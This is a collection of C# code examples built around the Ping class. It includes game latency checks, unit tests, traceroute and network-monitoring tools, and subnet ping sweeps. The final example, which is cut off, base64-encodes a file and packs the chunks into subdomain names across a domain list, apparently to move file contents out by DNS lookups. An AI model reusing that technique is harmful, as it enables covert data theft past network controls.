示例#1
0
 private void Update()
 {
     if ( this.hostDataIndex != -1 )
     {
         // Constantly create a new ping and send it off when the old one is returned
         if ( this.ping != null )
         {
             if ( this.ping.isDone )
             {
                 this.latency = this.ping.time;
                 this.ping = null;
                 this.UpdateGUI();
             }
         }
         else
         {
             HostData hostData = MenuNetworking.instance.GetHostData( this.hostDataIndex );
             if ( hostData == null )
             {
                 this.hostDataIndex = -1;
             }
             else
             {
                 this.ping = new Ping( string.Concat( hostData.ip ) );
             }
             //this.ping = new Ping( string.Concat( this.hostData.ip ) );
         }
     }
 }
示例#2
0
		public object Any(Ping request)
		{
			return new PingResponse
	       	{
	       		Result = RedisNative.Ping()
	       	};
		}
示例#3
0
        public async Task SendPingAsync_InvalidArgs()
        {
            IPAddress localIpAddress = await TestSettings.GetLocalIPAddress();
            Ping p = new Ping();

            // Null address
            Assert.Throws<ArgumentNullException>("address", () => { p.SendPingAsync((IPAddress)null); });
            Assert.Throws<ArgumentNullException>("hostNameOrAddress", () => { p.SendPingAsync((string)null); });

            // Invalid address
            Assert.Throws<ArgumentException>("address", () => { p.SendPingAsync(IPAddress.Any); });
            Assert.Throws<ArgumentException>("address", () => { p.SendPingAsync(IPAddress.IPv6Any); });

            // Negative timeout
            Assert.Throws<ArgumentOutOfRangeException>("timeout", () => { p.SendPingAsync(localIpAddress, -1); });
            Assert.Throws<ArgumentOutOfRangeException>("timeout", () => { p.SendPingAsync(TestSettings.LocalHost, -1); });

            // Null byte[]
            Assert.Throws<ArgumentNullException>("buffer", () => { p.SendPingAsync(localIpAddress, 0, null); });
            Assert.Throws<ArgumentNullException>("buffer", () => { p.SendPingAsync(TestSettings.LocalHost, 0, null); });

            // Too large byte[]
            Assert.Throws<ArgumentException>("buffer", () => { p.SendPingAsync(localIpAddress, 1, new byte[65501]); });
            Assert.Throws<ArgumentException>("buffer", () => { p.SendPingAsync(TestSettings.LocalHost, 1, new byte[65501]); });
        }
示例#4
0
    //-------------------------------------------------------------------------
    public void update(float elapsed_tm)
    {
        if (!mStart) return;

        if (mPing != null && mPing.isDone)
        {
            PingTime = mPing.time;

            if (mPing != null)
            {
                mPing.DestroyPing();
                mPing = null;
                mPingTm = 5f;
            }
        }
        else if (mPing == null)
        {
            mPingTm -= elapsed_tm;
            if (mPingTm < 0f)
            {
                mPingTm = 5f;
                mPing = new Ping(mIp);
            }
        }
    }
示例#5
0
    void Update()
    {
        if (Input.GetButtonDown("Server List"))
        {
            show = !show;
            if (show)
            {
                MasterServer.ClearHostList();
                MasterServer.RequestHostList("OmniDig");
            }
        }

        if (MasterServer.PollHostList().Length > 0)
        {
            servers = MasterServer.PollHostList();

            for(int i=0; i<servers.Length; i++)
            {
                if (serverPings[i] == null)
                {
                    serverPings[i] = new Ping(servers[i].ip[0]);
                }
            }
        }

        if (connect)
        {
            show = false;
            connect = false;
            OmniNetwork.Dedicated = false;
            Network.Connect(servers[connectSelection]);
        }
    }
    // The state object is necessary for a TimerCallback.
    public void checkConnection(object stateObject)
    {
        Process p = new Process();
        Ping pingSender = new Ping ();
        p.StartInfo.FileName = "arp";
        p.StartInfo.Arguments = "-a";
        p.StartInfo.UseShellExecute = false;
        p.StartInfo.RedirectStandardOutput = true;

        string data = "a";
         byte[] buffer = Encoding.ASCII.GetBytes (data);

        for(int i = 0; i < 25 ; i++){
            pingSender.Send ("10.0.0."+i.ToString(),10,buffer);
        }

        p.Start();

        string output = p.StandardOutput.ReadToEnd();
        p.WaitForExit();

        string MAC = "xx-xx-xx-xx-xx-xx";
        if(output.Contains(MAC)){
            SerialPort port = new SerialPort("COM5", 9600);
            port.Open();
            port.Write("u");
            port.Close();
        }
        else{
            SerialPort port = new SerialPort("COM5", 9600);
            port.Open();
            port.Write("l");
            port.Close();
        }
    }
示例#7
0
 /// <summary>
 /// The main entry point for the application.
 /// </summary>
 private static void Main()
 {
     using (var game = new Ping())
     {
         game.Run();
     }
 }
示例#8
0
文件: ping.cs 项目: dbremner/hycs
    public static void Main(string[] args)
    {
        using (Ping ping = new Ping())
        {
            try
            {
                PingReply reply = ping.Send("127.0.0.1", 100);

                if (reply.Status == IPStatus.Success)
                {
                    Console.WriteLine("Success - IP Address:{0} Time:{1}ms",
                        reply.Address, reply.RoundtripTime);
                }
                else
                {
                    Console.WriteLine(reply.Status);
                }
            }
            catch (Exception ex)
            {
                Console.WriteLine("Error ({0})", ex.InnerException.Message);
            }
        }

        Console.WriteLine("Press any key to continue...");
        Console.ReadKey();
    }
示例#9
0
 public object Any(Ping request)
 {
     return new PingResponse()
     {
         Timestamp = DateTime.Now
     };
 }
示例#10
0
public static void Main(string [] args)
{
int pingsc = 0, pingf = 0;
int numb = Convert.ToInt32(args[1]);

Ping ping = new Ping();
PingOptions option = new PingOptions();
option.DontFragment = true;

string message = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaasdfasdfasdfasfasdfasdfasdfasdfasdfas";
byte [] val = Encoding.ASCII.GetBytes(message);
int timeout = 120;
for(int i = 0; i < numb; i++)
{
PingReply reply = ping.Send(args[0], timeout, val, option);
if(reply.Status == IPStatus.Success)
{
Console.WriteLine("Address {0} " , reply.Address.ToString());
Console.WriteLine("RoundTrip time {0} " ,reply.RoundtripTime);
Console.WriteLine("Time to live {0}", reply.Options.Ttl);
Console.WriteLine("Buffer size {0}", reply.Buffer.Length); 
pingsc++;
}
else
{
Console.WriteLine("Ping failed");
pingf++;
}
}
Console.WriteLine("number of Success pings {0}", pingsc);
Console.WriteLine("Number of failed pings {0}", pingf);
}
示例#11
0
    public void UpdateServer()
    {
        //get current server selection
        server = (int)slider.value;

        //web player ping
        ping = new Ping(IPs[server]);
    }
示例#12
0
        public void Can_serialize_IMessage_into_typed_Message_Ping()
        {
            var dto = new Ping();
            IMessage iMsg = MessageFactory.Create(dto);
            var json = iMsg.ToJson();
            var typedMessage = json.FromJson<Message<Ping>>();

            Assert.That(typedMessage.GetBody(), Is.Not.Null);
        }
示例#13
0
        public Puck(Ping game, Vector2 position)
            : base(game)
        {
            _ping = game;

            _size = new Vector2(32f, 32f);
            _position = position;
            _velocity = new Vector2(5f);
        }
示例#14
0
文件: Paddle.cs 项目: TimGThomas/ping
        public Paddle(Ping game, Vector2 position)
            : base(game)
        {
            _ping = game;

            _size = new Vector2(24f, 88f);
            _position = position;
            _velocity = new Vector2(0f);
        }
示例#15
0
        public void when_serializing_ping_then_can_roundtrip()
        {
            var message = new Ping();
            var bytes = MessageChannel.Convert(message);

            var deserialized = MessageChannel.Convert(bytes) as Ping;

            Assert.NotNull(deserialized);
        }
示例#16
0
    //-------------------------------------------------------------------------
    public void stop()
    {
        mStart = false;

        if (mPing != null)
        {
            mPing.DestroyPing();
            mPing = null;
        }
    }
示例#17
0
 public ascx_Task_Ping()
 {
     TaskType = "Ping";
     TaskName = "...";
     TaskFunction = () =>
     {
         var ping = new Ping();
         return ping.ping(TaskName);
     };
 }
示例#18
0
 public MyHostData Start(HostData hd)
 {
     this.hd = hd;
     foreach (var ip in hd.ip)
     {
         var p = new Ping(ip);
         pp.Add(p);
     }
     return this;
 }
    void OnPlayerConnected( NetworkPlayer player )
    {
        //Store networkplayers in the 3 connections data on connect.
        network_players[ npindex ] = player;
        //ping them.
        pings[ npindex ] = new Ping( network_players[ npindex ].ipAddress );
        //increment.
        npindex++;

        //networkView.RPC ("functionname", NetworkPlayer <Target>, params);
    }
示例#20
0
        public void RequestResponse()
        {
            var query = new Ping();

            var mediator = ObjectFactory.GetInstance<IMediator>();

            var pong = mediator.Request(query);

            Assert.That(pong.Data, Is.EqualTo("PONG!"));
            Assert.That(pong.HasException(), Is.False);
        }
示例#21
0
    //-------------------------------------------------------------------------
    public void start(string ip)
    {
        mStart = true;
        mIp = ip;

        if (mPing != null)
        {
            mPing.DestroyPing();
            mPing = null;
        }
        mPing = new Ping(mIp);
    }
示例#22
0
        public Response DispatchCommand()
        {
            var cmdName = Parameters["cmd"];

            if (string.IsNullOrEmpty(cmdName))
            {
                return new ErrorResponse("Command not set");
            }

            ICommand cmd = null;

            switch (cmdName)
            {
                case "open":
                    if (!string.IsNullOrEmpty(Parameters["init"]) && Parameters["init"] == "true")
                        cmd = new Init();
                    else
                    {
                        cmd = new Open(Parameters["target"]);
                    }
                    break;
                case "mkdir":
                    cmd = new MkDir(Parameters["current"], Parameters["name"]);
                    break;
                case "rm":
                    cmd = new Rm(Parameters["current"], Parameters["targets[]"]);
                    break;
                case "rename":
                    cmd = new Rename(Parameters["current"], Parameters["target"], Parameters["name"]);
                    break;
                case "upload":
                    cmd = new Upload(Parameters["current"], Files);
                    break;
                case "ping":
                    cmd = new Ping();
                    break;
                case "duplicate":
                    cmd = new Duplicate(Parameters["current"], Parameters["target"]);
                    break;
                case "paste":
                    cmd = new Paste(Parameters["src"], Parameters["dst"], Parameters["targets[]"], Parameters["cut"]);
                    break;
            }

            if (cmd == null)
            {
                return new ErrorResponse("Unknown command");
            }

            return cmd.Execute();

            return new ErrorResponse("Unknown error");
        }
示例#23
0
        public void RequestResponse()
        {
            var query = new Ping();

            var mediator = TestScope.Resolve<IMediator>();

            var pong = mediator.Request(query);

            Assert.That(pong.HasException(), Is.False,
                pong.Exception == null ? string.Empty : pong.Exception.ToString());
            Assert.That(pong.Data, Is.EqualTo("PONG!"));
        }
示例#24
0
        public void ConnectedResultFilter_HandleReturnObject_UnknownMessage()
        {
            var connectedResultFilter = new ConnectedResultFilter();

            var ping = new Ping();

            var returnedObject = new ReturnedObject("ping", JObject.FromObject(ping), JsonConvert.SerializeObject(ping));

            connectedResultFilter.HandleReturnObject(returnedObject);

            Assert.IsFalse(connectedResultFilter.IsCompleted());
            Assert.IsNull(connectedResultFilter.GetReturnedObject());
        }
示例#25
0
 private IEnumerator CheckConnection()
 {
     Ping pingServer = new Ping("8.8.8.8");
     float startTime = Time.time;
     while (!pingServer.isDone && Time.time < startTime + 2.0f) {
         yield return new WaitForSeconds(0.1f);
     }
     if(pingServer.isDone) {
         LoginSetup(true);//function we run if we have a connection
     } else {
         LoginSetup(false);//function if we do not have a connection
     }
 }
示例#26
0
        public void DdpClient_SendPingMessage_ReturnsPongMessage()
        {
            var ping = new Ping();
            this.testConnection.Reply(JsonConvert.SerializeObject(ping));

            this.client.ReceiveAsync().Wait();

            var sentMessage = this.testConnection.GetSentMessage();

            var pongReply = JsonConvert.DeserializeObject<Pong>(sentMessage);

            Assert.AreEqual("pong", pongReply.MessageType);
            Assert.IsTrue(String.IsNullOrEmpty(pongReply.Id));
        }
示例#27
0
 public static String Status(String IP)
 {
     IPAddress ip = IPAddress.Parse(IP);
         try
         {
             Ping ping = new Ping();
             PingReply reply = ping.Send(ip);
             return Convert.ToString(reply.Status);
         }
         catch(Exception)
         {
             return "Error";
         }
 }
示例#28
0
        public void Perf()
        {
            var mediator = ObjectFactory.GetInstance<IMediator>();
            var query = new Ping();

            var watch = Stopwatch.StartNew();

            for (int i = 0; i < 10000; i++)
                mediator.Request(query);

            watch.Stop();

            Console.WriteLine(watch.Elapsed);
        }
示例#29
0
        public void Perf()
        {
            var mediator = TestScope.Resolve<IMediator>();
            var query = new Ping();

            var watch = Stopwatch.StartNew();

            for (var i = 0; i < 10000; i++)
                mediator.Request(query);

            watch.Stop();

            Console.WriteLine(watch.Elapsed);
        }
示例#30
0
        public void DdpClient_SendPingMessageWithId_ReturnsPongMessageWithId()
        {
            var ping = new Ping {Id = "TestID"};
            this.testConnection.Reply(JsonConvert.SerializeObject(ping));

            this.client.ReceiveAsync().Wait();

            var sentMessage = this.testConnection.GetSentMessage();

            var pongReply = JsonConvert.DeserializeObject<Pong>(sentMessage);

            Assert.AreEqual("pong", pongReply.MessageType);
            Assert.AreEqual("TestID", pongReply.Id);
        }
示例#31
0
        private static bool IsInternetConnectionAvailable()
        {
            var pingReply = new Ping().Send("google.com", 500);

            return(pingReply != null && pingReply.Status == IPStatus.Success);
        }
示例#32
0
        private async void PerformTraceroute(CancellationToken cancellationToken)
        {
            IsActive = true;
            History  = new ObservableCollection <string>();
            Status   = ProbeStatus.Scanner;

            AddHistory($"[\u2022] Tracing route to {Hostname}:");
            if (await IsHostInvalid(Hostname, cancellationToken))
            {
                if (cancellationToken.IsCancellationRequested)
                {
                    return;
                }

                StopProbe(ProbeStatus.Error);
                return;
            }

            AddHistory("");

            using (var ping = new Ping())
            {
                const int    maxHops           = 30;
                const int    timeout           = 2000;
                const string stringFormat      = "{0,2}   {1,-15}   [{2} ms]";
                const string stringErrorFormat = "{0,2}   {1}";
                var          ttl   = 1;
                var          timer = new Stopwatch();

                while (!cancellationToken.IsCancellationRequested && ttl <= maxHops)
                {
                    try
                    {
                        timer.Restart();
                        var reply = await ping.SendPingAsync(
                            hostNameOrAddress : Hostname,
                            timeout : timeout,
                            buffer : Encoding.ASCII.GetBytes(Constants.DefaultIcmpData),
                            options : new PingOptions()
                        {
                            Ttl = ttl
                        });

                        timer.Stop();

                        var address = string.Empty;
                        if (reply.Address != null)
                        {
                            address = reply.Address.ToString();
                        }

                        if (cancellationToken.IsCancellationRequested)
                        {
                            break;
                        }

                        if (reply.Status != IPStatus.TtlExpired && reply.Status != IPStatus.Success)
                        {
                            AddHistory(string.Format(stringErrorFormat, ttl, reply.Status));
                        }
                        else
                        {
                            AddHistory(string.Format(stringFormat, ttl, address, timer.ElapsedMilliseconds < 1 ? "<1" : timer.ElapsedMilliseconds.ToString()));
                        }

                        if (reply.Status == IPStatus.Success)
                        {
                            AddHistory($"{Environment.NewLine}\u2605 Trace complete");
                            break;
                        }

                        ttl++;
                        if (ttl > maxHops)
                        {
                            AddHistory($"{Environment.NewLine}\u2605 Trace complete");
                        }

                        await Task.Delay(100, cancellationToken);
                    }
                    catch (Exception ex)
                    {
                        AddHistory(ex.Message);
                        break;
                    }
                }

                IsActive = false;
            }
        }
示例#33
0
        //线程开始方法
        private void ThreadPing(object ObjIn)
        {
            ListViewItem itemTemp = (ListViewItem)ObjIn;
            T_PingObj    modelObj = (T_PingObj)itemTemp.Tag;
            NetState     model    = new NetState();

            model.name = itemTemp.Text;
            model.ip   = itemTemp.SubItems[1].Text;

            string targetIp       = itemTemp.SubItems[1].Text;
            int    noNetCount     = 0;
            int    slowSpeedCount = 0;
            int    reTime         = 0;
            bool   isConvertIP    = false;

            Ping p = new Ping();
            DelegateUpdateLst updateLst = new DelegateUpdateLst(UpdateLst);

            while (isMon)
            {
                if (!isConvertIP)
                {
                    try
                    {
                        targetIp    = Dns.GetHostAddresses(targetIp)[0].ToString();
                        isConvertIP = true;
                    }
                    catch
                    {
                        reTime = -2;
                    }
                }
                if (isConvertIP)
                {
                    PingReply pr = p.Send(targetIp, 5000);
                    if (pr.Status == IPStatus.Success)
                    {
                        reTime = Convert.ToInt32(pr.RoundtripTime);
                        //下面是监控网速
                        if (modelObj.MONITORSPEED)
                        {
                            if (reTime >= SpeedReTime)
                            {
                                slowSpeedCount++;
                                if (slowSpeedCount >= SpeedCount)
                                {
                                    DelegateExecption Exce = new DelegateExecption(ExecptionHandle);
                                    model.reTime = reTime;
                                    model.state  = "网速很慢";
                                    this.Invoke(Exce, model);
                                    slowSpeedCount = 0;
                                }
                            }
                            else
                            {
                                slowSpeedCount = 0;
                            }
                        }
                        noNetCount = 0;
                    }
                    else
                    {
                        reTime = -1;
                        //下面是监控断网
                        if (modelObj.MONITORNET)
                        {
                            noNetCount++;
                            if (noNetCount >= NoNetCount)
                            {
                                DelegateExecption exceptionHandle = new DelegateExecption(ExecptionHandle);
                                model.state  = "断网";
                                model.reTime = -1;
                                this.Invoke(exceptionHandle, model);
                                noNetCount = 0;
                                //这里发送邮件
                            }
                        }
                    }
                }
                lstvResults.Invoke(updateLst, itemTemp, reTime);
                Thread.Sleep(1000);
            }
        }
示例#34
0
 public PingTaskState(Ping p, IPAddress ip, int count)
 {
     this.Ping           = p;
     this.IPAddress      = ip;
     this.RemainingCount = count;
 }
  ///<summary>Main()</summary>
  static void Main( string[] args ) 
  {
   if ( args.Length == 0 ) 
   {
    System.Console.WriteLine( usageString );
    Environment.Exit( 1 );
   }
   
   string targetName = null;
   IPAddress target = IPAddress.None;
   bool resolveHostnames = true;
   int maxHops = 30;
   int timeout = 30000;
   int ttl = 1;
   Ping pinger = new Ping();
   bool finished = false;

   for ( int i = 0; i < args.Length; i++ )
   {
    if ( args[i].StartsWith( "-" ) ) 
    {
     if ( args[i] == "-d" ) 
     {
      resolveHostnames = false;
     } 
     else if ( args[i] == "-h" && ( i + 1 ) < args.Length ) 
     {
      i++;
      int.TryParse( args[i], out maxHops );
     } 
     else if ( args[i] == "-w" && ( i + 1 ) < args.Length ) 
     {
      i++;
      int.TryParse( args[i], out timeout );
     }
    } else 
    {
     try 
     {
      target = IPAddress.Parse( args[i] );
     } 
     catch 
     {
      try 
      {
       IPHostEntry hostEntry = Dns.GetHostByName( args[i] );
       targetName = hostEntry.HostName;
       target = hostEntry.AddressList[0];
      }//try 
      catch 
      {
       System.Console.WriteLine( usageString );
       Environment.Exit( 2 );
      }//catch
     }//catch
    }//else
   }//for ( int i = 0; i < args.Length; i++ )

   System.Console.WriteLine();
   System.Console.Write( "Tracing route to {0} ", ( targetName != null ) ? targetName : target.ToString() );
   if ( targetName != null ) 
   { 
    System.Console.Write( "[{0}] ", target.ToString() ); 
   }
   System.Console.WriteLine( "over a maximum of {0} hops:", maxHops );
   System.Console.WriteLine();

   do 
   {
    PingReply reply = pinger.Send( target, new byte[0], timeout, new PingOptions( ttl++, true ) );
    IPAddress replyAddress = reply.Address;
    if ( reply.Status == IPStatus.Success ) 
    {
     finished = true;
    }

    System.Console.Write( "{0, 3}", ttl - 1 );
    PingReply timing = pinger.Send( replyAddress, new byte[50], timeout, new PingOptions( 128, true ) );
    System.Console.Write( "{0, 5} ms", ( timing.Status == IPStatus.Success ) ? timing.RoundTripTime.ToString() : "*" );
    timing = pinger.Send( replyAddress, new byte[50], timeout, new PingOptions( 128, true ) );
    System.Console.Write( "{0, 5} ms", ( timing.Status == IPStatus.Success ) ? timing.RoundTripTime.ToString() : "*" );
    timing = pinger.Send( replyAddress, new byte[50], timeout, new PingOptions( 128, true ) );
    System.Console.Write( "{0, 5} ms", ( timing.Status == IPStatus.Success ) ? timing.RoundTripTime.ToString() : "*" );

    string hostName = null;
    if ( resolveHostnames ) 
    {
     try 
     {
      IPHostEntry hostEntry = Dns.GetHostByAddress( replyAddress );
      if ( hostEntry.HostName != null && hostEntry.HostName != string.Empty ) 
      {
       hostName = hostEntry.HostName;
      }
     } 
     catch 
     { 
     }
    }

    System.Console.WriteLine
    (
     ( hostName != null ) ? "  {0} [{1}]" : "  {0}",
     ( hostName != null ) ? hostName : replyAddress.ToString(),
     replyAddress 
    );
   
   } while ( !finished && ttl <= maxHops );

   System.Console.WriteLine();
   System.Console.WriteLine( "Trace complete, {0}", ( finished ) ? "destination reached" : "ttl expired reaching destination" );
  }//static void Main( string[] args )
示例#36
0
        public void IsPingPong_NumberDivisiblebyTheeAndFive_True()
        {
            Ping testPingPong = new Ping();

            Assert.AreEqual("ping-pong", testPingPong.isPingPong(15));
        }
示例#37
0
        static void Main(string[] args)
        {
            Application.EnableVisualStyles();
            printersplit = args[0].TrimStart('z', 'p', 'r', 'i', 'n', 't', 'e', 'r', ':').Split('+');
            servername   = printersplit[0];
            sharename    = Uri.UnescapeDataString(printersplit[1]);
            printershare = "\\\\" + servername + "\\" + sharename;


            Ping ping = new Ping();

            try {
                pingReply = ping.Send(servername);
            } catch
            {
                MessageBox.Show("Print server is not available.\nPlease make sure you can access Zeon's network.", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
                return;
            }
            if (pingReply.Status == IPStatus.Success)
            {
                PrintServer printServer = new PrintServer(@"\\" + servername);
                try
                {
                    PrintQueue printQueue = printServer.GetPrintQueue(printershare);
                } catch
                {
                    MessageBox.Show("Printer cannot be found on print server.\nPlease verify that printer exists.", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
                    return;
                }
                BackgroundWorker bg = new BackgroundWorker();
                bg.DoWork             += new DoWorkEventHandler(bg_DoWork);
                bg.RunWorkerCompleted += new RunWorkerCompletedEventHandler(bg_RunWorkerCompleted);

                foreach (string printer in PrinterSettings.InstalledPrinters)
                {
                    if (printershare == printer)
                    {
                        printerExist = true;
                    }
                }
                if (printerExist)
                {
                    MessageBox.Show("Printer is already available on your computer.", "Information", MessageBoxButtons.OK, MessageBoxIcon.Information);
                }
                else
                {
                    bg.RunWorkerAsync();
                    progressBar.ShowDialog();
                }
                void bg_DoWork(object sender, DoWorkEventArgs e)
                {
                    WshNetwork printerAdd = new WshNetwork();

                    printerAdd.AddWindowsPrinterConnection(printershare);
                }

                void bg_RunWorkerCompleted(object sender, RunWorkerCompletedEventArgs e)
                {
                    do
                    {
                        foreach (string printer in PrinterSettings.InstalledPrinters)
                        {
                            if (printershare == printer)
                            {
                                printerExist = true;
                            }
                        }
                        Thread.Sleep(500);
                    } while (!printerExist);
                    progressBar.FormClosed += new FormClosedEventHandler(addComplete);
                    progressBar.Close();

                    void addComplete(object sender1, FormClosedEventArgs e1)
                    {
                        MessageBox.Show("Printer has been successfully added!", "Success", MessageBoxButtons.OK, MessageBoxIcon.Information);
                    }
                }
            }
            else
            {
                MessageBox.Show("Print server is not available.\nPlease make sure you can access Zeon's network.", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
            }
        }
示例#38
0
        internal void ScanForXeLL()
        {
            _responselist.Clear();
            var basetest = _baseip.Split('.');

            if ((basetest.Length == 4) || (basetest.Length == 3))
            {
                _baseip = string.Format("{0}.{1}.{2}.", basetest[0], basetest[1], basetest[2]);
                Main.SendInfo("Scannning network for your console... Pinging full network for response...");
                var lastping = DateTime.Now;
                for (var j = 0; j < 2; j++)
                {
                    for (var i = 0; i < 255; i++)
                    {
                        var ip = string.Format("{0}{1}", _baseip, i);
                        var p  = new Ping();
                        p.PingCompleted += PingCompleted;
                        p.SendAsync(ip, 500, ip);
                        lastping = DateTime.Now;
                    }
                }
                var localIPs = Dns.GetHostAddresses(Dns.GetHostName());
                var ipfull   = "";
                for (var i = 0; i < localIPs.Length; i++)
                {
                    if (localIPs[i].AddressFamily != AddressFamily.InterNetwork)
                    {
                        continue;
                    }
                    ipfull = localIPs[i].ToString();
                    var split = ipfull.Split('.');
                    if (_baseip.Equals(string.Format("{0}.{1}.{2}.", split[0], split[1], split[2])))
                    {
                        break;
                    }
                }
                Main.SendInfo("Scannning network for your console... Waiting for pings to complete...");
                while ((DateTime.Now - lastping).TotalMilliseconds < 500)
                {
                    Thread.Sleep(100);
                }
                Main.SendInfo("Scannning network for your console... Looking for console response based on MAC Address...");
                var proc = new Process {
                    StartInfo =
                    {
                        FileName               = "arp",
                        Arguments              = !string.IsNullOrEmpty(ipfull) ? "-a -N " + ipfull.Trim() : "-a",
                        CreateNoWindow         = true,
                        UseShellExecute        = false,
                        RedirectStandardOutput = true
                    }
                };
                proc.Start();
                var output = proc.StandardOutput.ReadToEnd();
                proc.WaitForExit();
                var lines = output.Split('\n');
                var tmp   = new Dictionary <string, string>();
                for (var i = 0; i < lines.Length; i++)
                {
                    if (string.IsNullOrEmpty(lines[i]))
                    {
                        continue;
                    }
                    lines[i] = Regex.Replace(lines[i].Trim(), "\\s+", " ");
                    var tmpl = lines[i].Split(' ');
                    if (tmpl.Length <= 2)
                    {
                        continue;
                    }
                    IPAddress trash;
                    if (!IPAddress.TryParse(tmpl[0], out trash))
                    {
                        continue;
                    }
                    try {
                        tmp.Add(tmpl[1].ToUpper(), tmpl[0]);
                    }
                    catch {}
                }
                try {
                    XeLLIPAddress = IPAddress.Parse(tmp[_macAddress]);
                }
                catch {
                    if (!Scanfailsafe())
                    {
                        throw new XeLLNetworkException("Can't find your console :'(");
                    }
                }
            }
            else
            {
                throw new ArgumentException("Invalid Base IP!");
            }
        }
示例#39
0
        public static PingReply MyPing(string host)
        {
            Ping p = new Ping();

            return(p.Send(host));
        }
示例#40
0
        public async void Connect()
        {
            var hostName  = entHost.Text;
            var database  = entDatabase.Text;
            var ipaddress = entIPAddress.Text;

            string[] pingip        = ipaddress.Split(new char[] { '.' });
            byte[]   pingipaddress = new byte[] { byte.Parse(pingip[0]), byte.Parse(pingip[1]), byte.Parse(pingip[2]), byte.Parse(pingip[3]) };

            if (String.IsNullOrEmpty(hostName) || String.IsNullOrEmpty(database) || String.IsNullOrEmpty(ipaddress))
            {
                if (string.IsNullOrEmpty(entHost.Text))
                {
                    hostFrame.BorderColor = Color.FromHex("#e74c3c");
                }
                else
                {
                    hostFrame.BorderColor = Color.FromHex("#f2f2f5");
                }

                if (string.IsNullOrEmpty(entDatabase.Text))
                {
                    databaseFrame.BorderColor = Color.FromHex("#e74c3c");
                }
                else
                {
                    databaseFrame.BorderColor = Color.FromHex("#f2f2f5");
                }

                if (string.IsNullOrEmpty(entIPAddress.Text))
                {
                    ipaddressFrame.BorderColor = Color.FromHex("#e74c3c");
                }
                else
                {
                    ipaddressFrame.BorderColor = Color.FromHex("#f2f2f5");
                }

                await DisplayAlert("Login Error", "Please fill-up the form", "Got it");
            }
            else
            {
                //Check if there is an internet connection
                if (CrossConnectivity.Current.IsConnected)
                {
                    try
                    {
                        var link    = "http://" + ipaddress + Constants.requestUrl + "Host=" + hostName + "&Database=" + database + "&Request=M8g5E6" + "&Code=" + Constants.deviceID;
                        var request = HttpWebRequest.Create(string.Format(@link));

                        request.ContentType = "application/json";
                        request.Method      = "GET";

                        var ping  = new Ping();
                        var reply = ping.Send(new IPAddress(pingipaddress), 5000);
                        if (reply.Status == IPStatus.Success)
                        {
                            using (HttpWebResponse response = request.GetResponse() as HttpWebResponse)
                            {
                                if (response.StatusCode != HttpStatusCode.OK)
                                {
                                    await DisplayAlert("Login Error", "Error fetching data. Server returned status code: {0} " + response.StatusCode, "Ok");
                                }
                                else
                                {
                                    using (StreamReader reader = new StreamReader(response.GetResponseStream()))
                                    {
                                        var content = reader.ReadToEnd();

                                        if (!content.Equals("[]") || !string.IsNullOrWhiteSpace(content) || !string.IsNullOrEmpty(content))
                                        {
                                            try
                                            {
                                                if (content.Equals("[{\"Message\":\"Connected\"}]"))
                                                {
                                                    connectform.IsVisible = false;
                                                    loginform.IsVisible   = true;

                                                    Preferences.Set("ipaddress", ipaddress, "private_prefs");
                                                    Preferences.Set("host", hostName, "private_prefs");
                                                    Preferences.Set("database", database, "private_prefs");
                                                }
                                                else if (content.Equals("[{\"Message\":\"Not Connected\"}]"))
                                                {
                                                    await DisplayAlert("Connection Error", "Cannot connect to server", "Got it");
                                                }
                                            }
                                            catch (Exception ex)
                                            {
                                                Crashes.TrackError(ex);
                                            }
                                        }
                                    }
                                }
                            }
                        }
                        else
                        {
                            await DisplayAlert("Connection Error", "Server unreachable. Switching to offline mode", "Got it");

                            connectform.IsVisible = false;
                            loginform.IsVisible   = true;
                        }
                    }
                    catch (Exception ex)
                    {
                        Crashes.TrackError(ex);
                    }
                }
                else
                {
                    await DisplayAlert("Connection Error", "Server unreachable. Switching to offline mode", "Got it");

                    connectform.IsVisible = false;
                    loginform.IsVisible   = true;
                }
            }
        }
示例#41
0
        private void button1_Click(object sender, EventArgs e)
        {
kontrol:


            if (textBox4.Text.Length != 3)
            {
                er.SetError(textBox4, "Hatalı anahtar boyutu lütfen 3 haneli olarak giriniz");
                hata = "1";
            }
            else
            {
                hata = "";
            }
            if (textBox3.Text == "")
            {
                er.SetError(textBox3, "Hatalı Kurum adi");
                hata = "1";
            }
            else
            {
                hata = "";
            }


            int timeOut = Convert.ToInt32(textBox5.Text);

            if (hata != "1")
            {
                MessageBox.Show("Transfer Başladı");

                /*  string y = System.Convert.ToBase64String(GetBytes(textBox3.Text));
                 * string[] kurum = Regex.Split(y, "=");
                 * string dosya = System.Convert.ToBase64String(GetBytes(dosyaAdi[dosyaAdi.Count() - 1]));
                 * string[] dosyaNew = Regex.Split(dosya, "=");
                 *
                 * dizi.Add(kurum[0]);
                 * dizi.Add(dosyaNew[0]);*/


EnBas:
                if (radioButton1.Checked == true)
                {
                    islemNo = "1";
                    string   y        = System.Convert.ToBase64String(GetBytes(textBox3.Text));
                    string[] kurum    = Regex.Split(y, "=");
                    string   dosya    = System.Convert.ToBase64String(GetBytes(dosyaAdi[dosyaAdi.Count() - 1]));
                    string[] dosyaNew = Regex.Split(dosya, "=");

                    dizi.Add(kurum[0]);
                    dizi.Add(dosyaNew[0]);

                    dizi.Add(islemNo);
                    try
                    {
                        string       result1 = System.Convert.ToBase64String(content);
                        StreamWriter a       = new StreamWriter("okan.txt");
                        a.WriteLine(result1);
                        a.Close();
                        byte[] content2 = File.ReadAllBytes(@"okan.txt");
                        string result = GetString(content2);
                        int    diziBoyutu = result.Length - 1, index = 0;
                        int    sayac = result.Length;


                        int kalan;
                        while (sayac > 16)
                        {
                            sayac -= 16;
                            dizi.Add(result.Substring(index, 18));
                            index += 16;
                        }
                        kalan = sayac;
                        dizi.Add(result.Substring(index, kalan) + "sifr");
                        string son = "bitti";

                        dizi.Add(son);
                        for (int i = 0; i < dizi.Count; i++)
                        {
                            yollanacak_veri = i + textBox4.Text + "-" + dizi[i] + "." + Domain_List[i % (Domain_List.Count)];
                            veri_dizisi.Add(yollanacak_veri);
                        }
                    }
                    catch (Exception ex)
                    {
                        MessageBox.Show("Hatalı dosya:" + ex.Message);
                    }
                }
                else if (radioButton2.Checked == true)
                {
                    islemNo = "2";
                    string   y        = System.Convert.ToBase64String(GetBytes(textBox3.Text));
                    string[] kurum    = Regex.Split(y, "=");
                    string   dosya    = System.Convert.ToBase64String(GetBytes(dosyaAdi[dosyaAdi.Count() - 1]));
                    string[] dosyaNew = Regex.Split(dosya, "=");

